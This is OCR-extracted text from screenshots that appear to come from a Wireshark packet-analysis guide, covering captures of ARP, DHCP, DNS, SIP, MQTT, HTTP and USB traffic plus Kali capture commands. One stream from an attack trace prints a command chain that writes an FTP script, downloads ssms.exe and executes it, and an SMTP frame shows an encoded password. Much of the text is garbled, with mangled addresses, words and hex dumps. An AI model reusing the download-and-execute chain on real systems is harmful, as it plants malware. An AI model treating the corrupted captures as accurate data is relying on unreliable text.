“ivan Alizade” <sip:5514540002@200.57.7.195:5506 T;user=phone> “francisco@bestel.com” <sipfrancisco@bestel com:55060> SIP

00:0008 5
00:0000 3

CALL SETUP INVITE

Limit to display fiter (] Time of Day

Flow Sequence  PrepareFiter | B> Play Streams |+

Copy
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Statistics  Telephony  Wireless Tools  Help.

am 20 IBREBRe>=F 85 ®Q Qe
ooy a dplay fiter_<coi/> 0+
Destnston Protocs Length Info

No. Tme  Source

23187 0.023408 TaicangT_74:
23133 0.000024 IntelCor_23

IntelCor_23:86:6a  ARP 60 Who has 192.168.1.23? Tell 192.168.1.1
TaicangT_74:d4:00 AR 42 192.168.1.23 is at c4:

23190 0.922492 fes0::1 Fe80: :cd94:222e:bbb.. ICMPVG 86 Neighbor Solicitation for fedd::cdod:222e:bbl

23191 0.000075 fes0: :cd94:222e:bbb.. feso::1 ICPVE 86 Neighbor Advertisement fese::cd9a:222.

tbe:47d6 (sol, ovr) is at c

s6:6a

> Frame 23189: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface \Device\NPF_{85524D84-ECB7]

> Internet Protocol Version 4, Src: 192.163.1.5, Dst: 192.165.1.23
Source Port: 111
Destination Port: 36438
[Stream index: 3365]
[Conversation completeness: Incomplete (2)]
[TCP Segnent Len: 0]
Sequence Number: 2289978931
[Next Sequence Number: 2289078932]
Acknowledgnent Number: 1800352439
110 ... = Header Length: 24 bytes (6)
CFlags: e (sw, A)
window: 63616
[Calculated window size: 63616]
Checksum: @xdofa [unverified]
[Checksun Status: Unverified]
Urgent Pointer: 0
> Options: (4 bytes), Maximum segnent size
> [Tiestanps]

> [Expert Info (Note/Sequence): This frame is a (suspected) retransmission]
[The RTO for this segment was: 29.229013000 seconds]
[RT0 based on delta from frame: 6735:

000
o010
0020
o030

a4 d9 57 23 86 6a 30 de
00 2c 00 00 40 00 40 06
o117
8 50 do fa 00 00 02 04

4b do 16 b4 08 00 45 00
b7 5 co a8 01 05 co a8
92 93 6b 4F 32 €9 60 12
@ 0 50 00
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IOWP 100 Echo (ping) request

120 12.074080434 152.168.1.
123 13076203773 192.168.1.

Seq10/2569, tt1=64 (reply 1 12

324202009199 19.10.14,31 20.30.14.1 e 108 Ecno request w
435061005627 192.168.1.5 192.168.1.1 I 100 Echo request t
445000442163 192.208.1.1 19230815 I 109 Echo reply e
526063757112 192.168.1.5 1921168111 o 19 reauese o
S5 aamondes 19716811 Frowre T 100 Fehn reply B
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93 9l00saasr2 19220815 292020822 L 00 eono request Seqzo/20%, Trl=64 (reply 1n 94)
94 9.672136605  192.168.1.1 192.168.1.5 I 106 Echo reply
100 9.167472562  10.19.14.11 10.30.1i.1 T 108 Echo reauest Seq=1/256, trl=64 (no response f-
107 10.071431892 192.168.1.5 192,168 I 100 Echo reauest Seq7/1792, te1=64 (reply in 168)
308 10 074340000 195 16841 o b o0 Eeho reply Sea7/a793, tel-as (request in 3

5

5

5

o

» Frame 27: 100 bytes on wire (800 bits), 100 bytes captured (800 bits) on interface any, id 0 5550 00 04 00 61 90 ¢
» Linux caoked capture v 010 4500 06 54 92 G
© Internet Protocol Version 4, Src: 192.168.1.3, Dst: 152.108.1.1 0020 co 4 01 01 09 G
 ncernec control message protocol £050 9030 90 9 ge @

i 3435 36 87
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(kali® kali) - [/tmp]

sudo tshark -i eth@ -w capture.pcap
Running as user "root” and group "root”. This could be dangerous.
Capturing on 'ethe’
** (tshark:154501) 05:49:50.428822 [Main MESSAGE] -- Capture started.
“D(tshark:154591) 05:49:50.429003 [Main MESSAGE] -- File: "capture.pcap"
27
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No.  Tme  Souce Destination Protocol  Length Info
1 0.000000 192.165.1.4 239.255.255.250 ssop 167 H-SEARCH * HTTP/1.1

54 443 > 50993 A
3 0.307139 192.165.1.4. 239.255.255.256 ssop 167 H-SEARCH * HTTP/1.1
4 6.382261 192.168.1.2 142.250.67.170 uop 75 62915 » 443 Len=33
5 0.390838 192.165.1.2 54.149.235.60 Tisvi.2 96 Application Data
6 0.398936 192.165.1.2 34.237.73.95 Tisvi.2 217 Application Data
7 0.413009 192.165.1.2 54.149.235.60 Tisvi.2 96 Application Data
5 0.415781 192.165.1.2 54.149.235.60 Tisvi.2 96 Application Data
9 6.418724 142.250.67.170 192.165.1.2 uop 67 443 > 62918 Len=25

10 0.519643 feso: Feg0: 1433
11 0.519816 fe80: :433F:3828:2dad: 5ad4 FeBo::1

86 Neighbor Solicitatis
86 Neighbor Advertisem
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index-321_2.png
(N oop 2 dugay e _cCri> B+
o e ey == ey
T ez i Baeas Te 0L - 2008 ACKY Seqt Ackct MG Levs
e g At s <804 2912215071243 (ool ) I <k 0231305 3k |
21072458 (oL, ow) 15 4t 02

ooty ey T 2752060 - 000 o0, ACK, Seqn ke ineI31I8 Laned [TCP segent of o ressseesled U]
s2ds wesse 1218121 T 1514 560 - 5001 1A Searan ckesto WIS Levidid [T seprent of 8 revsiasaled P

s2de wozusse szl T 1516 2560 5000 (KO SeqUIG2 ARSI WreI3IS20 Leneiich [T sepunt of 3 rensaenbled U]
podedne g o ury W 1037 TP 1 208 Ok .
Fram 53611 36 bytes o vire (191 bice). 363 bytes apeured (84 Bie) on interace (Gevie I (EIORAER$L0-165 803, FARALTES563) 14

CCiemet 11, e 4310 s chre B3 158 4ty bek T9-Link 501410t (3010 b 41y

ntarnt Sritaco Vareion 4 et 193,58 40, Dts 193 40,413

Erinaiar Conial Protoet, Soc Pres $360, bt Pors 2065, o1 1, Acks 3, Lers 30

Gonecrion Coneirn

Proge: mo-zacne

Sccepes tese/sel splicationaliein

st 193,19 142 060

it Agans Sicrorot-Hindoct[s.1 UPKP1.0 Visdorkedia S Lyer 045 /12.0.7680 1565 SUSRKIL S8\
e

[ renaseant






index-114_1.png
NEWS  GetAcquaintedv GetHelpr Developv ~SHOP  Donate

Download Wireshark

a0 v e . EETI

& Windows Instaler (64-bi)

Windows PortableApps* (64-bit
macos Arm 64bit dmg,

macos Intel 64-bit.dmg
Source Code

Old Stable Release (3.6.10)





index-262_1.png
Ble Edt View Go Capture Analyze Statistics Telephony Wireless Tools Help.

4mi0=RHREAGOvRE/EBOAE
- = D
T = i gt

T e

e R m

Shmey B ArSomotoipag

SaE R e

B B AERRrOSa

» Frame 521 44 bytes on wire (352 bits), 44 bytes captured (352 bits) on interface any, id ©
+ Linux cooked capture vi'
- Address Resolufion Profocel (reply)
Marduare type: Echernet (1)
Protocol typo: Ipva (0x0890)
larduare size: 6
protocol size: 4
opcode: reply (2)
Sender WAC address: do:6s:53:aa:d1:ad (d6:65:53:aa:d1:a0)
Sender Ip address: 192.168.59.160
Target NAC address: bid9:if:32:23:29 (b6:d9:1F:32:23:09)
Target TP address: 192.168.59.201
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—————————— Configuring libc6:amd64 ——09—m ————

There are services installed on your system which need to be
restarted when certain libraries, such as libpam, libc, and libssl
are upgraded. Since these restarts may cause interruptions of
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choose this option to avoid being prompted; instead, all necessary
restarts will be done for you automatically so you can avoid being
asked questions on each library upgrade

Restart services during package upgrades without asking?

<No>
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+ text/m1, application/sal, application/xhtalexnl, text/htal;q=0., text/plain;q=8..8, inage/ong, inage/ Joeq, isage/Qif;q=0.2, /*0=8 1\r\n
Accept-Language: en-us, en:qz0. 5\rn
Accept-Encoding: gzip, deflateirin
Accept Charsct: 160 8350 1,utf 9;q0.7,
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\rn
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(TP request 1/1]
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G005 fe F 20 00 01 06 00 60 01 00 00 00 68 06 45 60 e z
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INVITE sip:97239287044@voip.brujula.net SIP/2.0\r\n
Via: SIP/2.0/UDP 192.168.1.2:5060;branch=z9hG4bKnp104984053-44cedad1192.,168.1.2;rport\r\n
From: “arik” <sip:816666@voip.brurjula.net>;tag=6433efa\r\n

To: <sip:97239287044@voip.brujula.net>\r\n

Call-ID: 105090259-446faf7a@192.168.1.2\r\n

CSeq: 1 INVITE\r\n

User-Agent: Nero SIPPS IP Phone Version 2.0.51.16\r\n
Expires: 120\r\n

Accept: application/sdp\r\n

Content-Type: application/sdp\r\n

Content-Length: 272\r\n
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65.713868  10.0.1.4 198.41.30.281 morT 68 Ping Request
76.14907  195.41.30.241 10.0.1.4 morT 68 Ping Response
56.149034  10.0.1.3 195.41.30.241 HOTT 1605 Connect Command
| 96aeas2  10.6.1.4  198.41.30.241  MQTT 93 publish Message [SampleTopic], DiscomnectReq ]
" loc.zame2  198.41.30.261 10.0.1.4 Tt 70 Connect Ack
116.38179%  198.41.30.241 10.0.1.4 morT 91 Publish Hessoge [SampleTopic]
121138882 10.0.1.4 198.41.30.281 morT 68 Ping Request .

 Frame 5: 116 bytes on wire (928 bits), 116 bytes captured (328 bits)
> Ethernet I1, Src: Apple (28552561 1e6:ee:90), Dst: Apple 21,
> Internet Protocol Version 4, Src: 195.41.30.241, Dst: 10.0.1.4
> Transmission Control Protocol, Src Port: 1383, Dst port: 49327, Seq: 18, Ack: 55, Len: 50
4 4 Telemetry Transport Protocol, Publish Message

@31, Message Type: Publish Message, QoS Level: At most once delivery (Fire and Forget), Retain
Hessage Type: Publish Message (3)
DUP Flag: fot set
QoS Levels At most once delivery (Fire and Forget) (o)
Retain: set

BF (28:cF1e9:21:14:5F)

Topic Length: 11
Topic: SampleTopic

[Message: 45656c6c6T206672676420746365 20506 1686 20626CET6360636E6720636069656e74

0 o1 o1 Ea | -
o 53 61 0. sa mpletopi

9050 63 48 65 6 6c 6F 20 66 cHeTTo ¥ rom The

0050 50 61 68 6F 20 62 b 6 Paho blo cking <1

0070 69 65 Ge 74 ient v
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File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

am 20 IDRMBRes>=F 85 ®Q Qe
A ehep [X]
Frane 6: 530 bytes on wire (4720 bits), 599 bytes captured (4720 bits) ~|[o00 ¥ ¥ £ £F 7% ¥ 00 06 25 da of 73 €5 00 %
Ethernet I, Src: LinksysG_dataf:73 (00:06:25 3), Dst: Broadcast (FFiFF 0010 0240 61 09 00 00 95 11 5T b co a6 o1 oL e _
Internet Protocol Version 4, Src: 192.165.1.1, Dst: 255.255.255.255 il e ammmc nmanme conem o
User Datagram Protocol, Src Ports &7, Dst Port: 63 o nnnnnn anonase o
Dynamic Host Configurstion Protocol (ACK) S et ndodrdd
Hessage type: Boot Reply (2) 2950 00 00 60 00 00 00 00 00 0 00 00 00 00 00 00
Harduare type: Ethernet (exel) 2270 00 00 00 00 00 00 00 00 0 60 00 00 00 00 00
Harduare address length 6 2050 00 00 00 00 00 00 00 00 0 60 00 00 00 00 00
Hops: © 2050 00 00 00 00 00 00 00 00 0 60 00 00 00 00 00
Transaction ID: @x3eSe@ce3 N 00 60 06 60 06 60 00 60 60 08 00 00 60 00
ey malmmsmnnnn masnne
 Bootp Flags: oxeee0 (uricast) Godo 00 a5 20 08 20 00 53 00 0 00 55 00 85 00 o
@eoe e e Broadcast flag: Unicast =0 00 00 00 00 00 00 00 00 0O 0 0O 0O 00 00 00
~000 0000 0000 0000 - Reserved Flags: 0x0000 el oo o0 50 00 00 59 90 00 50 00 59 90 90 0 0
Client 17 address: 0.9.0.0 9100 00 00 00 00 00 00 00 00 0 00 00 00 00 00 00
Your (client) Tp address: 192.168.1.101 9110 00 00 00 00 00 00 63 32 53 63 35 01 05 01 04 ¢ ses
Next server 17 address: 6.0.0.0 0120 £ £ 00 03 04 o a8 01 01 06 08 3 0 4c 13 2L
sl s o S 60 Bl cnzuscpzosasens oo
Client MAC address: Del1_47:36:23 (00:03:74:47:35:23) o et
Client harduare address padding: 00000000000000000000 o
Server host name not given G
Soot File name not given o150
Hagic cookie: DHCP o150
v (53) OHCP Hessage Type (ACK) o130
o150
o1c0
o100
o1c0
e1fo
Subnet Hask: 255.255.255.0 G
~ Option: (3) Router o210
Lengths 4 0220
Router: 192.168.1.1 230
v option: (6) Domain Name Server ez
Domain Name Server: 204.127.135.19
~ Options (15) Domain Nane
Length 22
Domain Name: ne2.clientz.attbi.con
> Options (s1) Ip Address Lease Time
> Options (54) DHCP Server Identifier (192.168.1.1)
> options (255) end .

@ 7 Dynamic Host Configuration Protocol: Protocol

|| profe: efat
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M Capturing from Intel(R) Centrino(R) - o X
mae RERe=2=F 3 aaam
(R ]2cply a display fiter . <ctr/> -]+
ho.  Tme Source Destraton Protocol Length Info D
10.000000 157.240.239.61 192.168.1.2 e 93 80 > 54030 [PSH, ACK] Seq-1 ¢
[ 2oommen wmaman 157.240.239.61 @ 81 54030 - 80 [PSH, ACK] Seq-1 £
30.009848  157.240.239.61 192.168.1.2 e 5480 > 54030 [ACK] Seq=40 Ack=i
449.580331 192.168.1.2 117.18.237.29 e 66 54477 > 80 [SYN] Seq=0 Win=5¢
549508487 117.18.237.29 192.168.1.2 e 6680 > 54477 [SYN, ACK] Seq=0 ¢
649.548518 192.168.1.2 117.18.237.29 e 54 54477 » 80 [ACK] Seq-1 Ack=1 ,,
< >
Frame 1: 93 bytes on wire (744 bits), 93 bytes captured (744 80 60 0b 27 96 35 5¢ o 7d 74 44 00 08 00
Ethernet IT, Src: TaicongT_7 (scifo:d ), Dst:|| 2910 00 4 09 e5 40 00 59 06 <& eb 3d o of 3d
Internet Protocol Version 4, Src: 157.248.239.61, Dst: 192.1€ 2 :: gi ?2 ;g :; :: ;; g: ;Z ;i 9% ;; :g zg
Transmission Control Protocol, Src Port: 89, Dst Port: sdg3a,|| 020 9174 16 93 00 00 00 00 24 03 ce 53 73 b6
S0 fd F1d9 Be 8b 89 bf Sc 23 a6 38 6 2a
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‘Adapterforloopback traffic capture
Ehemet
OpenVPN TAP-Windowss

® usepespt

® Cisco remote capture

® SSH remote copture

@ WiFiremote casture.

9] Enable promiscuus mode on lntefces

Promi: Snaplen | Buffer (v Monit, Capture Fiter
defaul
defaul
default
defaul
defaul
defaul
default
defaul
default
defaul
defaul

| FERRR QR Q&
| mem e

Capture fite for slected nterfoces: (W [Ente a capture s






index-447_1.png
M Vireshark. Follow TCP Stream (tcpstream eq 2) - attack-trace.peap.

echo open o.

8534 > olecho user 11 5> o fecho get ssms.exe >> o Recho quit > o Bftp -n -s:0 &del /F /Q o Asses.exe
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File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

=FHRE aAO0OVOCS/EREDE

http.request.method

Destination Protocol Length Info

info.php HTTP/1.1

Frame 424: 703 bytes on wire (5624 bits), 703 bytes captured (5624 bits) on interface any, id ©
Linux cooked capture vi
Internet Protocol Version 4, Src: 192.168.59.132, Dst: 44.228.249.3

Transmission Control Protocol, Src Port: 57366, Dst Port: 80, Seq: 1, Ack: 1, Len: 635
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File Edit View Go Capture Analyze Statistics Telephony Wircless Tools Help
AW 3® REQRe=2=F &5 aqan
(I [ttp-tme] )+
e e  sane esnaton reacol_Length 1o
16 0.000015 192.168.2.1%  192.168.2.1 WIT 70 WTTP/L1 401 Unauthorized (text/htal)
57 0000029 192.168.2.130  192.168.2.1 WP 727 WTTP/L.1 200 0K (text/cs2)
| asocer 19216023 1016820 WITP 476 WTTP/1.1 200 0K (application/x-Javascript)
| 209 0.000020 192.165.2.130 192.168.2.1 HTTP. 443 HTTP/1.1 268 0K (PNG)
| 239 0.000020 192.165.2.130 192.168.2.1 HTTP 1336 HTTP/1.1 208 OK (PNG)
| 242 0.000022 192.165.2.130 192.168.2.1 HTTP. 456 HTTP/1.1 208 OK (text/css)
| 262 0.000017 192.165.2.130 192.168.2.1 HTTP. 376 HTTP/1.1 200 OK  (PNG)
| 266 0.000321 192.168.2.130 192.168.2.1 HTTP. 516 HTTP/1.1 200 OK  (PNG)
| 270 0.000780 192.165.2.130 192.168.2.1 HTTP. 449 HTTP/1.1 288 OK  (PNG)
| 276 0.000045 192.165.2.130 192.168.2.1 HTTP 1343 HTTP/1.1 208 OK (PNG)
| 280 0.009142 192.165.2.130 192.168.2.1 HTTP. 340 HTTP/1.1 302 Found  (text/html)
| 287 0.000017 192.165.2.130 192.168.2.1 HTTP. 527 HTTP/1.1 200 OK  (text/html)
| 292 0.000300 192.165.2.130 192.168.2.1 HrTR 273 HTTP/1.1 34 Not Modified
| 362 0.000148 192.168.2.130 192.168.2.1 HrTR 273 HTTP/1.1 384 Not Modified
308 0.000102 192.265.2.130  192.168.2.1 WP 278 WTTP/1.1 308 ot rodified
| neoceee 192160203  101168.2.1 WITP 298 WTTP/1.1 200 0K (application/x-javascript)
| 327 0.000017 192.165.2.130 192.168.2.1 HTTP. 812 HTTP/1.1 200 OK (application/x-javascript)
I 2 00aAAs 12 1. 130 192 1 1 HTTE. 134 HTTP/1 1 208 0K 1icats. = int)
Frame 14: 71 bytes on wire (368 bits), 71 bytes captured (560 bits) on interface unknown, 1d 0 G0 w0 se oo oo ec B Faos o o0 W)
Ethernet II, Src: VMware f4:06:97 (89:0c:290:4:06:97), Dst: VMware c0:08:08 (89:50:56:c0:00:08) 0010 00 39 ac 33 40 00 40 66 08 bs c0 a3 02 82 0 a8 -9-3@-@
Internet Protocol Version 4, Src: 192.168.2.130, Dst: 192.168.2.1 ey 02 a1 00 50 ce 9c 6d ba 1f 1 b5 2f aa 55 86 18 P /v
Transmission Control Protocol, Src Port: 80, Dst Port: 52692, Seq: 1849314417, Ack: 3039799893, Len: 5 cos0 o0 73 [MER 00 00 01 01 @3 02 00 07 b 55 0 e E

[6 Reassembled TCP Segments (6311 bytes!

Line-based text data: text/html (198 lines)

#6(1443), #7(1443), #3(1443), #9(1443), #12(514), #14(5)]
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75732005,
014237570 2001:0:411 0050100, 20014860,
3114530520 fose

51 Router Advor clsoeent
4 Direct IPuG Connectivity Test 14=8xd373, seqésa7, hop lias:
7084 FeB3:411.. 2001:0:4137:9050:80.. TPvD 96 1700 no next. header

o 538 byres on e (352 bice) 419 ytes coptured (932 bita)
Ethernet 11, Src: HonMair 41:9c:20 ( 1

Internet protocol Veraion 4, sr

User Datagren Protocol, Src’Port
Teredo 17v6 over WP tineling
Internec Protocol Version 6, Src: 7edd
Tnternet Control Nessage Protocol v

797, Dat port: 3544
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2 2 6 6 6 Oor2 6 Qor2 Qord variable 4

D
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1 0.000000 52.32.229.80
2 0.000490 52.32.229.30
3 0.002253 192.165.1.2
4 0.285165 52.32.229.30
5 0.335523 192.165.1.3
6 0.335523 Fed0: :475:5d1e:dfo:
7 0.341000 192.168.1.2

i74f

192.168.1.2
192.165.1.2
52.32.229.80
192.165.1.2
224.0.0.251
FF02::7b
52.32.229.80

TcP
Tisvi.2
Tisvi.2
Tisvi.2

T

54 443 > 51521 [ACK] S
390 Application Data
161 Application Data
180 Application Data
264 Standard query resp
284 Standard query resp
54 51521 » 443 [ACK] S
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L T ——
L[:wtwarmtl-[-l
#ssh kali@192.168.1.7
kali@192.168.1.7's password:
Linux kali 5.18.0-kali5-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.18.5-1kali6 (2022-07-07) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Fri Jan 6 ©4:22:04 2023 from 192.168.1.22
L—‘(Elalis kali)-[~]
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NEWS  GetAcquaintedv GetHelpv Developv SHOP  Donate

Download Wireshark

CiominsHnlvot SR E=TI

Stable Release (4.0.2)

& Windows Installer (64-bit)
‘Windows PortableApps* (64-bit)
macos Arm 64-bit dmg.
macos Intel 64-bit.dmg.
Source Code.

Old Stable Release (3.6.10)

Documentation
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lools  Help

Qi
WES )+

o. Tme. Source. Destination Protocol  Length Info
- 70.000000 host 1.4.0 use 36 GET DESCRIPTOR Request DEVICE

5 0.000000 140 host s 46 GET DESCRIPTOR Response DEVICE

9 0.000000 host 1a.e use 36 GET DESCRIPTOR Request CONFIGURATION

10 0.000000 140 host use 60 GET DESCRIPTOR Response CONFIGURATION

11 o.000000 host 140 use 36 SET CONFIGURATION Request
L 12 0.000000 140 host use 28 SET CONFIGURATION Response

25 0.002559 1.4.2 host use 27 URB_BULK out.

26 0.002562 host 1.4.2 use 27 URB_BULK in

27 0.002605 1.4.2 host usars a0

25 0.002610 host 1.4.2 usars 58 SCSI: Write(10) LUN: @x00 (LBA: @x0@8e7cdo, Len: 128)

29 0.002664 1.4.2 host use 27 URB_BULK out.

30 0.002665 host 1.4.2 USBMS 65563 SCSI: Data Out LUN: @x@0 (Write(10) Request Data)

37 0.005520 1.4.2 host use 27 URB_BULK out.

38 0.005523 host 1.4.2 use 27 URB_BULK in

39 0.005563 1.4.2 host usars 40 SCSI: Response LUN: @xe@ (rite(10)) (Good)

40 n.0anssE8. host 185

:
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> Flags: oxa180 Standard query response, No error

Authority RRs: 0
Additional RR: @
~ Queries
~ . detf.orgs type A, class In
Name: . ietf.org
[Hame Length: 12]
[Label Count: 3]
Types A (Host Address) (1)
Class: 10 (oxo001)
© ansuers
~ . detf.org: type A, class IN, addr 132.151.6.75
Name: e ietf.org
Types A (Host Address) (1)
Class: 10 (oxo001)
Tine to Lives 1678 (27 minutes, 58 seconds)
Data length: 4
Address: 132.151.6.75
~ . ietf.org: type A, class IN, addr 65.245.255.51
Name: e ietf.org
Types A (Host Address) (1)
Class: 10 (oxo001)
Tine to Lives 1678 (27 minutes, 58 seconds)
Data length: 4
Address: 65.246.255.51
[Request In: 5
[Tine: 0000844000 seconds]

e
B3 -]+
Time. Source Destraton Protocol  Length Tnfo
Frame 9: 104 bytes on wire (332 bits), 104 bytes captured (332 bits) G025 00 09 6b 10 60 99 00 b0 Be £3 <4 54 03 00 45 00
Ethernet II, Src: Cisco_83:es:54 (00:b0:Be:83:e4:54), Dst: IBM_10:60:99 (00:09:6b:10:60:99) 2010 00 5a d5 95 00 00 7e 11 21 6a 50 ee 1d 17 50 ee
Internet Protocol Version 4, Src: 128.238.29.23, Dst: 128.238.38.160 zig 2 ;'; : : : : : g : : : :; g : : ;’;
User Datagran Protocol, Src Port: 53, Dt Port: 3163 om0 T T et
Doman[timmctSysten] (=spoaze) 050 06 Be 00 04 84 97 06 4b <O Gc 0O B 00 01 00 00
Transaction ID: exoese fisze] oc 5o oo as 41 fo £f 33
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Analyze  Statistics Telephony  Wireless ool Help
RESEFT S e

Destination Protocol  Length Info
580 2.383333 152.26.70.38 125.109.131.3 ons 80 Standard query @xdoeb A help.mysonicwall.com
587 2483333 152.26.70.38 204.212.170.118 HTTP 428 HEAD /enhancedcontent/systenpacketcaptureview/ index. htnl HTTP/1.1
690 5.383333 152.26.70.38 125.109.131.3. ons 80 Standard query @xdoec A help.mysonicwall.com

Cvvvy

Frame 697: 428 bytes on wire (3424 bits), 428 bytes captured (3424 bits)
Ethernet II, Src: 68:06:60_60: (60:00:00: ), Dst: 00:00:00_00:
Internet Protocol Version 4, Src: 152.26.70.38, Dst: 204.212.170.118

Transmission Control Protocol, Src Port: 1242, Dst Port: 80, Seq: 1, Ack: 1, Len: 362

(00:00:00

Host: help.mysonicwall.com:80\r\n
User-Agent: SWHC/1.0\r\n

Accept: text/xnl,application/xnl, application/xhtnlexnl, text/htnl;q=0.9, text/plain;q=0.5, image/png, */*;q=0.5]
Accept-Language: en-us,en;q=0.5\r\n

Accept-Encoding: gzip,deflate\rin

Accept-Charset: 150-8859-1,utf-8;0=0.7,%59=0.7\r\n

Connection: close\r\n

\r\n

[HTTP request 1/1]
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2

ve
38

FERUHRGRESRES

74
74

&
&

EEEEEE

73
75

5808

B

SRNEGNRERN2NIBBREERES

g30528888

2

6
6
74
74

S

R
AERYERHASARNIRNLIBERNRRESESS

&
74

37

2ABINBRYES

&

2
2

THBPIRWIRIBN

73

EEEERREEEE LR

2f

ByERE
2RNUDREGSINRR22RNE

FRELSDITRIABANRRS

2RYRGIDR

49

23
&

EEEESE]

3

FANETIRGS

B2

88

a8

ABBRIGS

67
a1
2

BT

&

a&3¥REEES

REIsaRIREAI22DAN

EEEERRFEEEEEREEEE SR E ]

37

a

EREREBLEIIIRNIRY
BYBERRGANENERAIVEISYIG

AYRBHREIDENYARS

35
2
74

8844

BEBENEINPRSEES






index-160_1.png
S Default apps Apps & features

0 Offine maps Optional features

App execution aliases
3 Apps for websites






index-206_1.png
B G Ve 30 Gt Ar St Tl Mook T B
dmie inRERes=TIFEaaan
T —

e o = o e b
e o e s
e e e
e e ey
= - )
e e e o 7 e e O o s o Y e R AT
T B EECEEcs sariaaat Lo o
oo B aunasoud sasudidn U
o - B e
| | sEousan saszasns por e
T i 2osaaan dandanis
e Qil=cszas0s ssecases
s o ARERSRNE DREEIVEE W
S i EEELEEEEEEEEEECEE i

Uassage rnoer. )
ey Tfaremion tion

ey Lgen: 32

Replay o ©

ot e to8e e a3 e O pee T e






index-243_1.png
Frame 14: 72 bytes on wire (576 bits), 72 bytes captured (576 bits)
Ethernet II, Src: Cradlepo_3c:17:c2 (6 c:17:c2), Dst: Netgear_d9:81:60 (00:
Internet Protocol Version 4, Src: 10.10.1.4, Dst: 74.53.140.153
Transmission Control Protocol, Src Port: 1470, Dst Port: 25, Seq: 52, Ack: 355, Len: 18
Sinple Mail Transfer Protocol

Password: cHVUAmFiQDEyMW:

©0 1f 33 d9 61 60 00 €0 1c 3 17 C2 08 00 45 00 3. . < E
©0 3a 25 2 40 00 80 06 3 b3 0a a 61 04 da 35 - :%.8 35
8c 99 05 be 00 19 7e c4 53 ed ae ec 63 12 50 18 - s.cP
fe 9d 54 b1 00 00 63 48 56 75 61 6d 46 69 51 44 T - -CH VuanFiQd

45 79 4d 77 3d 3d od 0a Eyhw
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Amc@® ARG eeowdCc I Emaml
oo

No.  Tme Source Destnavon Protocol_Lengih Ino
9138927902079 D619} 3212310 e 42 Who has 192.168.59.1607 Tell 192.169.59.261
92 18.927998148 e 44 192.260.59.180 is at do: d1:ad
352 43. 760494260 s 44 Who has 192.168.59.1807 Tell 192.108.59.201
353 43 760588878 s 44 193 168.59.380 e at de:63:5a:

521 10.641023443

+ Frame 529t aa Bytes on wire (352 bits), 4 bytes captured (32 bits) on interface any, 10
+ Linux cooked capture vi-
- Address Resolution Protocol (request)
Harduare type: Echernet (1)
Protocol type: Tpva (8:0309)
Harduare size: 6
Protocol size: 4
Opcods: request (1)
Sender NAG address: bo:d9:ifi32i2aiad (bG:id9iifis2:23ias)
Sender TP adiress: 192.106.59.201
TArGet WAC address: ©0:00:06. U0:G0:00 (00:00:60:0:60:60)
Target 1P adress: 192.168.5.180
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Instal

[Oinstall usePcap 1.5.4.0
(Use Add/Remove Programs first to uninstall any undetected old USBPcap versions)

Important notce:
In case of issue after installation, please use the system restore point reated or read
itps: fgithub.com/desowinjusbpcapfissues3
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Severity _~ Summary Group Protocol ¢+
- Warning | Duplicate IP address configured Sequence  ARP/RARP

2 192.168.1.4 s at 3 :d0:16:b4 (duplicate use of 192.168.11 dete... Sequence  ARP/RARP

2 192.168.1.4 is at 30:de:4b:d0:16:b4 (duplicate use of 192.168. 11 dete... Sequence  ARP/RARP

9 Who has 192.168.1.57 Tell 192.168.1.1 (duplicate use of 192.168.11 d.. Sequence  ARP/RARP
10 19216815isat3( :d0:16:b4 (duplicate use of 192.168.1.1 dete... Sequence  ARP/RARP
12 192168.14isat 30:de:4b:d0:16:4 (duplicate use of 192.168.11 dete.. Sequence  ARP/RARP

12 19216814isat 3 :d0:16:b4 (duplicate use of 192.168.1.1 dete... Sequence  ARP/RARP.
29 1921681 :d0:16:b4 (duplicate use of 192.168.11 dete... Sequence  ARP/RARP
Sequence  ARP/RARP

29 19216814isat 3 :d0:16:b4 (duplicate use of 192.168.1.1 dete.
37 1921681 : Sequence  ARP/RARP
37 1921681 :d0:16:b4 (duplicate use of 192.168.1.1 dete.. Sequence  ARP/RARP
44 Whohas192.168.1.5 Tell 192.168.1.1 (duplicate use of 192.168.1.1d.. Sequence  ARP/RARP
45 19216815isat 3( 40:16:b4 (duplicate use of 192.168.11dete... Sequence  ARP/RARP.
52 19216814isat 3 :d0:16:b4 (duplicate use of 192.168.11 dete... Sequence  ARP/RARP
52 192168.14isat 30:de:4b:d0:16:b4 (duplicate use of 192.168.11 dete.. Sequence  ARP/RARP
57 19216814isat 3 :d0:16:b4 (duplicate use of 192.168.11 dete... Sequence  ARP/RARP
57 192168.14is at 30:de:4b:d0:16:b4 (duplicate use of 192.168.11 dete... Sequence  ARP/RARP
63 Who has192.168.1.57 Tell 192.168.1.1 (duplicate use of 192.168.1.1d.. Sequence  ARP/RARP
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Frame 7: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface \Device\NPF_{F2055171-2052-4705-9803-A16715083050}, id O
Ethernet T1, Src: IntelCor_2F:96:35 (30:00:0b:2f:96:35), Dst: Tolcangl_74:44:00 (5c:f9:fd:74:d8:00)
Internet Protocol Version 4, Src: 192.168.1.2, Dst: 52.32.229.80
Transaission Control Protocol, Src Port: 51521, Dst Port: 443, Seq: 108, Ack: 463, Len: O

Source Port: 51521

Destination port: 443

[Strean index: 0]

[Conversation completeness: Incomplete (12)]

[7CP Segeent Len: 0]

Sequence Nusber: 108 (relative sequence nusber)

Sequence Nusber (raw): 2043513647

[lext. Sequence tosber: 108 (relotive sequence nusber)]

Acknowledgment Nusber: 463  (relative ack mumber)
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Ethernet-4 | IPv4-12 | IPv6 TCP-18 UDP-17
Address - Packets  Bytes  TxPackets  TxBytes  RxPackets RxBytes  Country  City ASNumber  ASOrganization

17.56.48.13 20 7,299 B 4,784 12 2,515 — — — —
17.188.145.174 27 9,047 10 4,204 17 4,753 — - - -
17.188.160.87 26 8,980 10 4,293 16 4,687 — - - -
17.249.187.246 48 11k 18 8,106 30 3,656 — - - -
17.253.5.204 57 18k 26 14k 31 3,863 — - - -
17.253.17.211 3 212 1 74 2 138 — - - -
98.136.145.29 23 10k 1 8,484 12 2,344 — - - -
104.70.196.21 42 16k 18 13k 24 2749 — - - -
1721611 29 5342 15 3,676 14 1,666 — - - -
